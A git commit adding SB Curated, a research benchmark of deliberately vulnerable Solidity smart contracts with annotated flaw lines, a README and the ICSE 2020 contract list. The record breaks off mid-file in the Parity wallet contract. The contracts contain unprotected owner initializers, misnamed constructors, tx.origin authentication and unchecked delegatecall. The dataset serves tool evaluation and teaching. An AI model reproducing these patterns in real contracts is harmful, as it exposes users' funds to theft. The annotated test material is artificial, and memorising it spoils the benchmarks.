Add SB Curated (copied from the smartbugs repository).
This commit is contained in:
76
ICSE2020_curated_69.txt
Normal file
76
ICSE2020_curated_69.txt
Normal file
@@ -0,0 +1,76 @@
|
||||
The research paper "Empirical Review of Automated Analysis Tools
|
||||
on 47,587 Ethereum Smart Contracts" used a version of SB Curated
|
||||
with the 69 contracts listed below.
|
||||
|
||||
(Link to paper: https://arxiv.org/abs/1910.10601)
|
||||
|
||||
|
||||
./dataset/short_addresses/short_address_example.sol
|
||||
./dataset/unchecked_low_level_calls/king_of_the_ether_throne.sol
|
||||
./dataset/unchecked_low_level_calls/etherpot_lotto.sol
|
||||
./dataset/unchecked_low_level_calls/FibonacciBalance.sol [MOVED TO: ./access_control/FibonacciBalance.sol]
|
||||
./dataset/unchecked_low_level_calls/unchecked_return_value.sol
|
||||
./dataset/unchecked_low_level_calls/lotto.sol
|
||||
./dataset/time_manipulation/timed_crowdsale.sol
|
||||
./dataset/time_manipulation/ether_lotto.sol
|
||||
./dataset/time_manipulation/roulette.sol
|
||||
./dataset/time_manipulation/governmental_survey.sol
|
||||
./dataset/bad_randomness/random_number_generator.sol
|
||||
./dataset/bad_randomness/blackjack.sol
|
||||
./dataset/bad_randomness/lucky_doubler.sol
|
||||
./dataset/bad_randomness/etheraffle.sol
|
||||
./dataset/bad_randomness/lottery.sol
|
||||
./dataset/bad_randomness/old_blockhash.sol
|
||||
./dataset/bad_randomness/smart_billions.sol
|
||||
./dataset/bad_randomness/guess_the_random_number.sol
|
||||
./dataset/reentrancy/etherstore.sol
|
||||
./dataset/reentrancy/reentrancy_dao.sol
|
||||
./dataset/reentrancy/modifier_reentrancy.sol
|
||||
./dataset/reentrancy/reentrance.sol
|
||||
./dataset/reentrancy/reentrancy_simple.sol
|
||||
./dataset/reentrancy/simple_dao.sol
|
||||
./dataset/reentrancy/spank_chain_payment.sol
|
||||
./dataset/other/crypto_roulette.sol
|
||||
./dataset/other/name_registrar.sol
|
||||
./dataset/other/open_address_lottery.sol
|
||||
./dataset/arithmetic/overflow_single_tx.sol
|
||||
./dataset/arithmetic/tokensalechallenge.sol
|
||||
./dataset/arithmetic/integer_overflow_minimal.sol
|
||||
./dataset/arithmetic/integer_overflow_multitx_multifunc_feasible.sol
|
||||
./dataset/arithmetic/overflow_simple_add.sol
|
||||
./dataset/arithmetic/BECToken.sol
|
||||
./dataset/arithmetic/integer_overflow_multitx_onefunc_feasible.sol
|
||||
./dataset/arithmetic/integer_overflow_mul.sol
|
||||
./dataset/arithmetic/integer_overflow_benign_1.sol
|
||||
./dataset/arithmetic/integer_overflow_add.sol
|
||||
./dataset/arithmetic/integer_overflow_1.sol
|
||||
./dataset/arithmetic/integer_overflow_mapping_sym_1.sol
|
||||
./dataset/arithmetic/token.sol
|
||||
./dataset/arithmetic/timelock.sol
|
||||
./dataset/denial_of_service/send_loop.sol
|
||||
./dataset/denial_of_service/dos_number.sol
|
||||
./dataset/denial_of_service/auction.sol
|
||||
./dataset/denial_of_service/list_dos.sol
|
||||
./dataset/denial_of_service/dos_simple.sol
|
||||
./dataset/denial_of_service/dos_address.sol
|
||||
./dataset/access_control/multiowned_vulnerable.sol
|
||||
./dataset/access_control/rubixi.sol
|
||||
./dataset/access_control/incorrect_constructor_name3.sol
|
||||
./dataset/access_control/incorrect_constructor_name2.sol
|
||||
./dataset/access_control/mycontract.sol
|
||||
./dataset/access_control/wallet_04_confused_sign.sol
|
||||
./dataset/access_control/phishable.sol
|
||||
./dataset/access_control/arbitrary_location_write_simple.sol
|
||||
./dataset/access_control/proxy.sol
|
||||
./dataset/access_control/simple_suicide.sol
|
||||
./dataset/access_control/parity_wallet_bug_1.sol
|
||||
./dataset/access_control/parity_wallet_bug_2.sol
|
||||
./dataset/access_control/wallet_02_refund_nosub.sol
|
||||
./dataset/access_control/mapping_write.sol
|
||||
./dataset/access_control/wallet_03_wrong_constructor.sol
|
||||
./dataset/access_control/unprotected0.sol
|
||||
./dataset/access_control/incorrect_constructor_name1.sol
|
||||
./dataset/front_running/FindThisHash.sol
|
||||
./dataset/front_running/eth_tx_order_dependence_minimal.sol
|
||||
./dataset/front_running/ERC20.sol
|
||||
./dataset/front_running/odds_and_evens.sol
|
||||
53
README.md
Executable file
53
README.md
Executable file
@@ -0,0 +1,53 @@
|
||||
# SB Curated: A Curated Dataset of Vulnerable Solidity Smart Contracts
|
||||
SB Curated is a dataset for research in automated reasoning and testing of smart contracts written in Solidity, the primary language used in Ethereum. It was developed as part of the [execution framework SmartBugs](https://github.com/smartbugs/smartbugs), which allows the possibility to integrate tools easily, so that they can be automatically compared (and their results reproduced). To the best of our knowledge, SmartBugs Curated is the largest dataset of its kind.
|
||||
|
||||
|
||||
## Vulnerabilities
|
||||
|
||||
SmartBugs Curated provides a collection of vulnerable Solidity smart contracts organized according to the [DASP taxonomy](https://dasp.co):
|
||||
|
||||
| Vulnerability | Description | Level |
|
||||
| --- | --- | -- |
|
||||
| [Reentrancy](https://github.com/smartbugs/smartbugs-curated/dataset/blob/main/reentrancy) | Reentrant function calls make a contract to behave in an unexpected way | Solidity |
|
||||
| [Access Control](https://github.com/smartbugs/smartbugs-curated/dataset/blob/main/access_control) | Failure to use function modifiers or use of tx.origin | Solidity |
|
||||
| [Arithmetic](https://github.com/smartbugs/smartbugs-curated/dataset/blob/main/arithmetic) | Integer over/underflows | Solidity |
|
||||
| [Unchecked Low Level Calls](https://github.com/smartbugs/smartbugs-curated/dataset/blob/main/unchecked_low_level_calls) | call(), callcode(), delegatecall() or send() fails and it is not checked | Solidity |
|
||||
| [Denial Of Service](https://github.com/smartbugs/smartbugs-curated/dataset/blob/main/denial_of_service) | The contract is overwhelmed with time-consuming computations | Solidity |
|
||||
| [Bad Randomness](https://github.com/smartbugs/smartbugs-curated/dataset/blob/main/bad_randomness) | Malicious miner biases the outcome | Blockchain |
|
||||
| [Front Running](https://github.com/smartbugs/smartbugs-curated/dataset/blob/main/front_running) | Two dependent transactions that invoke the same contract are included in one block | Blockchain |
|
||||
| [Time Manipulation](https://github.com/smartbugs/smartbugs-curated/dataset/blob/main/time_manipulation) | The timestamp of the block is manipulated by the miner | Blockchain |
|
||||
| [Short Addresses](https://github.com/smartbugs/smartbugs-curated/dataset/blob/main/short_addresses) | EVM itself accepts incorrectly padded arguments | EVM |
|
||||
|
||||
## Example
|
||||
Contracts are annotated with a comment containing information about their source (`@source`), author (`@author`), and line numbers of where vulnerabilities are reported (`@vulnerable_at_lines`). For each identified line, a comment with the type of the vulnerability is added (`// <yes> <report> CATEGORY`).
|
||||
Here is the example of `time_manipulation/timed_crowdsale.sol`, which identifies a vulnerability of type `TIME_MANIPULATION` in line 19:
|
||||
|
||||
```
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/timestamp_dependence/timed_crowdsale.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 13
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
contract TimedCrowdsale {
|
||||
// Sale should finish exactly at January 1, 2019
|
||||
function isSaleFinished() view public returns (bool) {
|
||||
// <yes> <report> TIME_MANIPULATION
|
||||
return block.timestamp >= 1546300800;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Adding New Contracts
|
||||
We welcome the community to add new contracts or update existing annotations. Please create a new pull request with the new information, following the annotation style described above. Moreover, please update the `vulnerabilities.json` file at the root of the repository. You can update this file by running the script `scripts/get_vulns_lines.js`. We suggest that you format the JSON file by running `python -m json.tool`.
|
||||
|
||||
|
||||
## Work that uses SmartBugs Curated
|
||||
- [A previous version of SmartBugs Curated was used to compare 9 analysis tools](https://joaoff.com/publication/2020/icse) (work published at ICSE 2020). The contracts used in this study are listed in the [file ICSE2020_curated_69.txt](https://github.com/smartbugs/smartbugs-curated/blob/main/ICSE2020_curated_69.txt). The results are available in a [separate repository](https://github.com/smartbugs/smartbugs-results).
|
||||
- [SmartBugs Curated was used to evaluate a simple extension of Smartcheck](https://joaoff.com/publication/2020/ase) (work published at ASE 2020, _Tool Demo Track_)
|
||||
- **... you are more than welcome to add your own work here!**
|
||||
|
||||
## License
|
||||
All the contracts were obtained from public websites or using [Etherscan](http://etherscan.io) and they retain their original licenses. For all the other files, the [license detailed in the file LICENSE](LICENSE) applies.
|
||||
62
dataset/access_control/FibonacciBalance.sol
Normal file
62
dataset/access_control/FibonacciBalance.sol
Normal file
@@ -0,0 +1,62 @@
|
||||
/*
|
||||
* @source: https://github.com/sigp/solidity-security-blog
|
||||
* @author: Suhabe Bugrara
|
||||
* @vulnerable_at_lines: 31,38
|
||||
*/
|
||||
|
||||
//added pragma version
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract FibonacciBalance {
|
||||
|
||||
address public fibonacciLibrary;
|
||||
// the current fibonacci number to withdraw
|
||||
uint public calculatedFibNumber;
|
||||
// the starting fibonacci sequence number
|
||||
uint public start = 3;
|
||||
uint public withdrawalCounter;
|
||||
// the fibonancci function selector
|
||||
bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));
|
||||
|
||||
// constructor - loads the contract with ether
|
||||
constructor(address _fibonacciLibrary) public payable {
|
||||
fibonacciLibrary = _fibonacciLibrary;
|
||||
}
|
||||
|
||||
function withdraw() {
|
||||
withdrawalCounter += 1;
|
||||
// calculate the fibonacci number for the current withdrawal user
|
||||
// this sets calculatedFibNumber
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
|
||||
msg.sender.transfer(calculatedFibNumber * 1 ether);
|
||||
}
|
||||
|
||||
// allow users to call fibonacci library functions
|
||||
function() public {
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
require(fibonacciLibrary.delegatecall(msg.data));
|
||||
}
|
||||
}
|
||||
|
||||
// library contract - calculates fibonacci-like numbers;
|
||||
contract FibonacciLib {
|
||||
// initializing the standard fibonacci sequence;
|
||||
uint public start;
|
||||
uint public calculatedFibNumber;
|
||||
|
||||
// modify the zeroth number in the sequence
|
||||
function setStart(uint _start) public {
|
||||
start = _start;
|
||||
}
|
||||
|
||||
function setFibonacci(uint n) public {
|
||||
calculatedFibNumber = fibonacci(n);
|
||||
}
|
||||
|
||||
function fibonacci(uint n) internal returns (uint) {
|
||||
if (n == 0) return start;
|
||||
else if (n == 1) return start + 1;
|
||||
else return fibonacci(n - 1) + fibonacci(n - 2);
|
||||
}
|
||||
}
|
||||
20
dataset/access_control/README.md
Executable file
20
dataset/access_control/README.md
Executable file
@@ -0,0 +1,20 @@
|
||||
# Access Control
|
||||
Access Control issues are common in all programs, not just smart contracts. In fact, it's number 5 on the OWASP top 10. One usually accesses a contract's functionality through its public or external functions. While insecure visibility settings give attackers straightforward ways to access a contract's private values or logic, access control bypasses are sometimes more subtle. These vulnerabilities can occur when contracts use the deprecated tx.origin to validate callers, handle large authorization logic with lengthy require and make reckless use of delegatecall in proxy libraries or proxy contracts.
|
||||
|
||||
Loss: estimated at 150,000 ETH (~30M USD at the time)
|
||||
|
||||
## Attack Scenario
|
||||
A smart contract designates the address which initializes it as the contract's owner. This is a common pattern for granting special privileges such as the ability to withdraw the contract's funds.
|
||||
Unfortunately, the initialization function can be called by anyone — even after it has already been called. Allowing anyone to become the owner of the contract and take its funds.
|
||||
|
||||
## Examples
|
||||
In the following example, the contract's initialization function sets the caller of the function as its owner. However, the logic is detached from the contract's constructor, and it does not keep track of the fact that it has already been called.
|
||||
```
|
||||
function initContract() public {
|
||||
owner = msg.sender;
|
||||
}
|
||||
```
|
||||
In the Parity multi-sig wallet, this initialization function was detached from the wallets themselves and defined in a "library" contract. Users were expected to initialize their own wallet by calling the library's function via a delegateCall. Unfortunately, as in our example, the function did not check if the wallet had already been initialized. Worse, since the library was a smart contract, anyone could initialize the library itself and call for its destruction.
|
||||
|
||||
## References
|
||||
Taken from [DASP TOP10](https://dasp.co/)
|
||||
40
dataset/access_control/arbitrary_location_write_simple.sol
Normal file
40
dataset/access_control/arbitrary_location_write_simple.sol
Normal file
@@ -0,0 +1,40 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-124#arbitrary-location-write-simplesol
|
||||
* @author: Suhabe Bugrara
|
||||
* @vulnerable_at_lines: 27
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
contract Wallet {
|
||||
uint[] private bonusCodes;
|
||||
address private owner;
|
||||
|
||||
constructor() public {
|
||||
bonusCodes = new uint[](0);
|
||||
owner = msg.sender;
|
||||
}
|
||||
|
||||
function () public payable {
|
||||
}
|
||||
|
||||
function PushBonusCode(uint c) public {
|
||||
bonusCodes.push(c);
|
||||
}
|
||||
|
||||
function PopBonusCode() public {
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
require(0 <= bonusCodes.length); // this condition is always true since array lengths are unsigned
|
||||
bonusCodes.length--; // an underflow can be caused here
|
||||
}
|
||||
|
||||
function UpdateBonusCodeAt(uint idx, uint c) public {
|
||||
require(idx < bonusCodes.length);
|
||||
bonusCodes[idx] = c; // write to any index less than bonusCodes.length
|
||||
}
|
||||
|
||||
function Destroy() public {
|
||||
require(msg.sender == owner);
|
||||
selfdestruct(msg.sender);
|
||||
}
|
||||
}
|
||||
34
dataset/access_control/incorrect_constructor_name1.sol
Normal file
34
dataset/access_control/incorrect_constructor_name1.sol
Normal file
@@ -0,0 +1,34 @@
|
||||
/*
|
||||
* @source: https://github.com/trailofbits/not-so-smart-contracts/blob/master/wrong_constructor_name/incorrect_constructor.sol
|
||||
* @author: Ben Perez
|
||||
* @vulnerable_at_lines: 20
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
contract Missing{
|
||||
address private owner;
|
||||
|
||||
modifier onlyowner {
|
||||
require(msg.sender==owner);
|
||||
_;
|
||||
}
|
||||
|
||||
// The name of the constructor should be Missing
|
||||
// Anyone can call the IamMissing once the contract is deployed
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
function IamMissing()
|
||||
public
|
||||
{
|
||||
owner = msg.sender;
|
||||
}
|
||||
|
||||
function () payable {}
|
||||
|
||||
function withdraw()
|
||||
public
|
||||
onlyowner
|
||||
{
|
||||
owner.transfer(this.balance);
|
||||
}
|
||||
}
|
||||
32
dataset/access_control/incorrect_constructor_name2.sol
Normal file
32
dataset/access_control/incorrect_constructor_name2.sol
Normal file
@@ -0,0 +1,32 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-118#incorrect-constructor-name1sol
|
||||
* @author: Ben Perez
|
||||
* @vulnerable_at_lines: 18
|
||||
*/
|
||||
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
contract Missing{
|
||||
address private owner;
|
||||
|
||||
modifier onlyowner {
|
||||
require(msg.sender==owner);
|
||||
_;
|
||||
}
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
function missing()
|
||||
public
|
||||
{
|
||||
owner = msg.sender;
|
||||
}
|
||||
|
||||
function () payable {}
|
||||
|
||||
function withdraw()
|
||||
public
|
||||
onlyowner
|
||||
{
|
||||
owner.transfer(this.balance);
|
||||
}
|
||||
}
|
||||
32
dataset/access_control/incorrect_constructor_name3.sol
Normal file
32
dataset/access_control/incorrect_constructor_name3.sol
Normal file
@@ -0,0 +1,32 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-118#incorrect-constructor-name2sol
|
||||
* @author: Ben Perez
|
||||
* @vulnerable_at_lines: 17
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
contract Missing{
|
||||
address private owner;
|
||||
|
||||
modifier onlyowner {
|
||||
require(msg.sender==owner);
|
||||
_;
|
||||
}
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
function Constructor()
|
||||
public
|
||||
{
|
||||
owner = msg.sender;
|
||||
}
|
||||
|
||||
function () payable {}
|
||||
|
||||
function withdraw()
|
||||
public
|
||||
onlyowner
|
||||
{
|
||||
owner.transfer(this.balance);
|
||||
}
|
||||
|
||||
}
|
||||
30
dataset/access_control/mapping_write.sol
Normal file
30
dataset/access_control/mapping_write.sol
Normal file
@@ -0,0 +1,30 @@
|
||||
/*
|
||||
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-124#mapping-writesol
|
||||
* @author: Suhabe Bugrara
|
||||
* @vulnerable_at_lines: 20
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
//This code is derived from the Capture the Ether https://capturetheether.com/challenges/math/mapping/
|
||||
|
||||
contract Map {
|
||||
address public owner;
|
||||
uint256[] map;
|
||||
|
||||
function set(uint256 key, uint256 value) public {
|
||||
if (map.length <= key) {
|
||||
map.length = key + 1;
|
||||
}
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
map[key] = value;
|
||||
}
|
||||
|
||||
function get(uint256 key) public view returns (uint256) {
|
||||
return map[key];
|
||||
}
|
||||
function withdraw() public{
|
||||
require(msg.sender == owner);
|
||||
msg.sender.transfer(address(this).balance);
|
||||
}
|
||||
}
|
||||
63
dataset/access_control/multiowned_vulnerable.sol
Normal file
63
dataset/access_control/multiowned_vulnerable.sol
Normal file
@@ -0,0 +1,63 @@
|
||||
/*
|
||||
* @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/solidity/unprotected_critical_functions/multiowned_vulnerable/multiowned_vulnerable.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 38
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.23;
|
||||
|
||||
/**
|
||||
* @title MultiOwnable
|
||||
*/
|
||||
contract MultiOwnable {
|
||||
address public root;
|
||||
mapping (address => address) public owners; // owner => parent of owner
|
||||
|
||||
/**
|
||||
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
|
||||
* account.
|
||||
*/
|
||||
constructor() public {
|
||||
root = msg.sender;
|
||||
owners[root] = root;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Throws if called by any account other than the owner.
|
||||
*/
|
||||
modifier onlyOwner() {
|
||||
require(owners[msg.sender] != 0);
|
||||
_;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Adding new owners
|
||||
* Note that the "onlyOwner" modifier is missing here.
|
||||
*/
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
function newOwner(address _owner) external returns (bool) {
|
||||
require(_owner != 0);
|
||||
owners[_owner] = msg.sender;
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Deleting owners
|
||||
*/
|
||||
function deleteOwner(address _owner) onlyOwner external returns (bool) {
|
||||
require(owners[_owner] == msg.sender || (owners[_owner] != 0 && msg.sender == root));
|
||||
owners[_owner] = 0;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
contract TestContract is MultiOwnable {
|
||||
|
||||
function withdrawAll() onlyOwner {
|
||||
msg.sender.transfer(this.balance);
|
||||
}
|
||||
|
||||
function() payable {
|
||||
}
|
||||
|
||||
}
|
||||
24
dataset/access_control/mycontract.sol
Normal file
24
dataset/access_control/mycontract.sol
Normal file
@@ -0,0 +1,24 @@
|
||||
/*
|
||||
* @source: https://consensys.github.io/smart-contract-best-practices/recommendations/#avoid-using-txorigin
|
||||
* @author: Consensys Diligence
|
||||
* @vulnerable_at_lines: 20
|
||||
* Modified by Gerhard Wagner
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.24;
|
||||
|
||||
contract MyContract {
|
||||
|
||||
address owner;
|
||||
|
||||
function MyContract() public {
|
||||
owner = msg.sender;
|
||||
}
|
||||
|
||||
function sendTo(address receiver, uint amount) public {
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
require(tx.origin == owner);
|
||||
receiver.transfer(amount);
|
||||
}
|
||||
|
||||
}
|
||||
469
dataset/access_control/parity_wallet_bug_1.sol
Normal file
469
dataset/access_control/parity_wallet_bug_1.sol
Normal file
@@ -0,0 +1,469 @@
|
||||
/*
|
||||
* @source: https://github.com/paritytech/parity-ethereum/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol#L216
|
||||
* @author: parity
|
||||
* @vulnerable_at_lines: 223,437
|
||||
*/
|
||||
|
||||
//sol Wallet
|
||||
// Multi-sig, daily-limited account proxy/wallet.
|
||||
// @authors:
|
||||
// Gav Wood <g@ethdev.com>
|
||||
// inheritable "property" contract that enables methods to be protected by requiring the acquiescence of either a
|
||||
// single, or, crucially, each of a number of, designated owners.
|
||||
// usage:
|
||||
// use modifiers onlyowner (just own owned) or onlymanyowners(hash), whereby the same hash must be provided by
|
||||
// some number (specified in constructor) of the set of owners (specified in the constructor, modifiable) before the
|
||||
// interior is executed.
|
||||
|
||||
pragma solidity ^0.4.9;
|
||||
|
||||
contract WalletEvents {
|
||||
// EVENTS
|
||||
|
||||
// this contract only has six types of events: it can accept a confirmation, in which case
|
||||
// we record owner and operation (hash) alongside it.
|
||||
event Confirmation(address owner, bytes32 operation);
|
||||
event Revoke(address owner, bytes32 operation);
|
||||
|
||||
// some others are in the case of an owner changing.
|
||||
event OwnerChanged(address oldOwner, address newOwner);
|
||||
event OwnerAdded(address newOwner);
|
||||
event OwnerRemoved(address oldOwner);
|
||||
|
||||
// the last one is emitted if the required signatures change
|
||||
event RequirementChanged(uint newRequirement);
|
||||
|
||||
// Funds has arrived into the wallet (record how much).
|
||||
event Deposit(address _from, uint value);
|
||||
// Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going).
|
||||
event SingleTransact(address owner, uint value, address to, bytes data, address created);
|
||||
// Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going).
|
||||
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
|
||||
// Confirmation still needed for a transaction.
|
||||
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
|
||||
}
|
||||
|
||||
contract WalletAbi {
|
||||
// Revokes a prior confirmation of the given operation
|
||||
function revoke(bytes32 _operation) external;
|
||||
|
||||
// Replaces an owner `_from` with another `_to`.
|
||||
function changeOwner(address _from, address _to) external;
|
||||
|
||||
function addOwner(address _owner) external;
|
||||
|
||||
function removeOwner(address _owner) external;
|
||||
|
||||
function changeRequirement(uint _newRequired) external;
|
||||
|
||||
function isOwner(address _addr) constant returns (bool);
|
||||
|
||||
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);
|
||||
|
||||
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
|
||||
function setDailyLimit(uint _newLimit) external;
|
||||
|
||||
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
|
||||
function confirm(bytes32 _h) returns (bool o_success);
|
||||
}
|
||||
|
||||
contract WalletLibrary is WalletEvents {
|
||||
// TYPES
|
||||
|
||||
// struct for the status of a pending operation.
|
||||
struct PendingState {
|
||||
uint yetNeeded;
|
||||
uint ownersDone;
|
||||
uint index;
|
||||
}
|
||||
|
||||
// Transaction structure to remember details of transaction lest it need be saved for a later call.
|
||||
struct Transaction {
|
||||
address to;
|
||||
uint value;
|
||||
bytes data;
|
||||
}
|
||||
|
||||
// MODIFIERS
|
||||
|
||||
// simple single-sig function modifier.
|
||||
modifier onlyowner {
|
||||
if (isOwner(msg.sender))
|
||||
_;
|
||||
}
|
||||
// multi-sig function modifier: the operation must have an intrinsic hash in order
|
||||
// that later attempts can be realised as the same underlying operation and
|
||||
// thus count as confirmations.
|
||||
modifier onlymanyowners(bytes32 _operation) {
|
||||
if (confirmAndCheck(_operation))
|
||||
_;
|
||||
}
|
||||
|
||||
// METHODS
|
||||
|
||||
// gets called when no other function matches
|
||||
function() payable {
|
||||
// just being sent some cash?
|
||||
if (msg.value > 0)
|
||||
Deposit(msg.sender, msg.value);
|
||||
}
|
||||
|
||||
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
|
||||
// as well as the selection of addresses capable of confirming them.
|
||||
function initMultiowned(address[] _owners, uint _required) {
|
||||
m_numOwners = _owners.length + 1;
|
||||
m_owners[1] = uint(msg.sender);
|
||||
m_ownerIndex[uint(msg.sender)] = 1;
|
||||
for (uint i = 0; i < _owners.length; ++i)
|
||||
{
|
||||
m_owners[2 + i] = uint(_owners[i]);
|
||||
m_ownerIndex[uint(_owners[i])] = 2 + i;
|
||||
}
|
||||
m_required = _required;
|
||||
}
|
||||
|
||||
// Revokes a prior confirmation of the given operation
|
||||
function revoke(bytes32 _operation) external {
|
||||
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
|
||||
// make sure they're an owner
|
||||
if (ownerIndex == 0) return;
|
||||
uint ownerIndexBit = 2**ownerIndex;
|
||||
var pending = m_pending[_operation];
|
||||
if (pending.ownersDone & ownerIndexBit > 0) {
|
||||
pending.yetNeeded++;
|
||||
pending.ownersDone -= ownerIndexBit;
|
||||
Revoke(msg.sender, _operation);
|
||||
}
|
||||
}
|
||||
|
||||
// Replaces an owner `_from` with another `_to`.
|
||||
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
|
||||
if (isOwner(_to)) return;
|
||||
uint ownerIndex = m_ownerIndex[uint(_from)];
|
||||
if (ownerIndex == 0) return;
|
||||
|
||||
clearPending();
|
||||
m_owners[ownerIndex] = uint(_to);
|
||||
m_ownerIndex[uint(_from)] = 0;
|
||||
m_ownerIndex[uint(_to)] = ownerIndex;
|
||||
OwnerChanged(_from, _to);
|
||||
}
|
||||
|
||||
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
|
||||
if (isOwner(_owner)) return;
|
||||
|
||||
clearPending();
|
||||
if (m_numOwners >= c_maxOwners)
|
||||
reorganizeOwners();
|
||||
if (m_numOwners >= c_maxOwners)
|
||||
return;
|
||||
m_numOwners++;
|
||||
m_owners[m_numOwners] = uint(_owner);
|
||||
m_ownerIndex[uint(_owner)] = m_numOwners;
|
||||
OwnerAdded(_owner);
|
||||
}
|
||||
|
||||
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
|
||||
uint ownerIndex = m_ownerIndex[uint(_owner)];
|
||||
if (ownerIndex == 0) return;
|
||||
if (m_required > m_numOwners - 1) return;
|
||||
|
||||
m_owners[ownerIndex] = 0;
|
||||
m_ownerIndex[uint(_owner)] = 0;
|
||||
clearPending();
|
||||
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
|
||||
OwnerRemoved(_owner);
|
||||
}
|
||||
|
||||
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
|
||||
if (_newRequired > m_numOwners) return;
|
||||
m_required = _newRequired;
|
||||
clearPending();
|
||||
RequirementChanged(_newRequired);
|
||||
}
|
||||
|
||||
// Gets an owner by 0-indexed position (using numOwners as the count)
|
||||
function getOwner(uint ownerIndex) external constant returns (address) {
|
||||
return address(m_owners[ownerIndex + 1]);
|
||||
}
|
||||
|
||||
function isOwner(address _addr) constant returns (bool) {
|
||||
return m_ownerIndex[uint(_addr)] > 0;
|
||||
}
|
||||
|
||||
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
|
||||
var pending = m_pending[_operation];
|
||||
uint ownerIndex = m_ownerIndex[uint(_owner)];
|
||||
|
||||
// make sure they're an owner
|
||||
if (ownerIndex == 0) return false;
|
||||
|
||||
// determine the bit to set for this owner.
|
||||
uint ownerIndexBit = 2**ownerIndex;
|
||||
return !(pending.ownersDone & ownerIndexBit == 0);
|
||||
}
|
||||
|
||||
// constructor - stores initial daily limit and records the present day's index.
|
||||
function initDaylimit(uint _limit) {
|
||||
m_dailyLimit = _limit;
|
||||
m_lastDay = today();
|
||||
}
|
||||
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
|
||||
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
|
||||
m_dailyLimit = _newLimit;
|
||||
}
|
||||
// resets the amount already spent today. needs many of the owners to confirm.
|
||||
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
|
||||
m_spentToday = 0;
|
||||
}
|
||||
|
||||
// constructor - just pass on the owner array to the multiowned and
|
||||
// the limit to daylimit
|
||||
// <yes> <report> ACCESS_CONTROL
|
||||
function initWallet(address[] _owners, uint _required, uint _daylimit) {
|
||||
initDaylimit(_daylimit);
|
||||
initMultiowned(_owners, _required);
|
||||
}
|
||||
|
||||
// kills the contract sending everything to `_to`.
|
||||
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
|
||||
suicide(_to);
|
||||
}
|
||||
|
||||
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
|
||||
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
|
||||
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
|
||||
// and _data arguments). They still get the option of using them if they want, anyways.
|
||||
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
|
||||
// first, take the opportunity to check that we're under the daily limit.
|
||||
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
|
||||
// yes - just execute the call.
|
||||
address created;
|
||||
if (_to == 0) {
|
||||
created = create(_value, _data);
|
||||
} else {
|
||||
if (!_to.call.value(_value)(_data))
|
||||
throw;
|
||||
}
|
||||
SingleTransact(msg.sender, _value, _to, _data, created);
|
||||
} else {
|
||||
// determine our operation hash.
|
||||
o_hash = sha3(msg.data, block.number);
|
||||
// store if it's new
|
||||
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
|
||||
m_txs[o_hash].to = _to;
|
||||
m_txs[o_hash].value = _value;
|
||||
m_txs[o_hash].data = _data;
|
||||
}
|
||||
if (!confirm(o_hash)) {
|
||||
